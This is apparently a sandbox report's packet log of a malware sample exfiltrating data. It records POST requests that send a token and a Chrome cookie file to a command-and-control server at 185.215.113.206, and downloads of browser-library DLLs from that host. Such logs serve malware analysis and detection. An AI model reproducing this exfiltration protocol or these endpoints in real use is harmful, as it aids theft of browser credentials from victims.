Nov 13, 2024 18:08:12.610721111 CET	1236	IN	Data Raw: fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 c6 e4 0a 00 89 7c Data Ascii: t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49795	185.215.113.206	80	712	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:08:21.243349075 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BGHJEBKJEGHJKECAAKJK--
Nov 13, 2024 18:08:22.649348021 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:08:22.782510042 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file"------JJJDGIECFCAKKFHIIIJE--
Nov 13, 2024 18:08:23.561789036 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49864	185.215.113.206	80	712	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:08:29.435411930 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFII Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:08:29.435411930 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 13, 2024 18:08:30.860150099 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:08:31.037533045 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHDHJEBGHJKFIECBGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="file"------CGDHDHJEBGHJKFIECBGC--
Nov 13, 2024 18:08:32.078011990 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:08:32.557651997 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 18:08:32.842330933 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 13, 2024 18:08:32.842595100 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 13, 2024 18:08:32.842781067 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 13, 2024 18:08:32.842861891 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 13, 2024 18:08:32.842873096 CET	424	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Nov 13, 2024 18:08:32.843132019 CET	1236	IN	Data Raw: 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 c4 08 8b 4d f0 31 e9 e8 9a fe 07 00 89 f8 83 c4 24 5e 5f 5b 5d c3 55 89 e5 53 57 56 8b 75 08 85 f6 74 3a 8b 7d 0c 8b 1e 85 db 74 24 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 Data Ascii: EtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1
Nov 13, 2024 18:08:32.843141079 CET	212	IN	Data Raw: ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 Data Ascii: t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
Nov 13, 2024 18:08:32.843151093 CET	1236	IN	Data Raw: 04 b8 ff ff ff ff e9 99 00 00 00 8b 75 10 8b 48 18 8b 1f ff 15 00 80 0a 10 ff 75 14 56 ff 75 0c 53 ff d1 83 c4 10 8b 16 8b 4f 04 b8 ff ff ff ff 3b 11 75 70 8b 49 10 8b 1f ff 15 00 80 0a 10 53 ff d1 83 c4 04 8b 07 89 45 f0 8b 47 04 8b 48 14 8b 70 Data Ascii: uHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHu
Nov 13, 2024 18:08:32.843162060 CET	212	IN	Data Raw: 8b 5d 08 8b 45 f0 8a 88 00 01 00 00 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d 14 00 0f 84 61 01 00 00 89 c8 04 01 89 4d ec 0f b6 c8 89 fb 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8a 13 32 14 Data Ascii: ]E}}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQ
Nov 13, 2024 18:08:32.843170881 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Nov 13, 2024 18:08:33.727814913 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 18:08:34.037815094 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 13, 2024 18:08:34.363009930 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 18:08:34.647783995 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 13, 2024 18:08:34.853432894 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 18:08:35.138084888 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 13, 2024 18:08:36.049969912 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 18:08:36.334554911 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 13, 2024 18:08:36.517528057 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 18:08:36.803217888 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 13, 2024 18:08:37.585153103 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDG Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:08:38.374636889 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
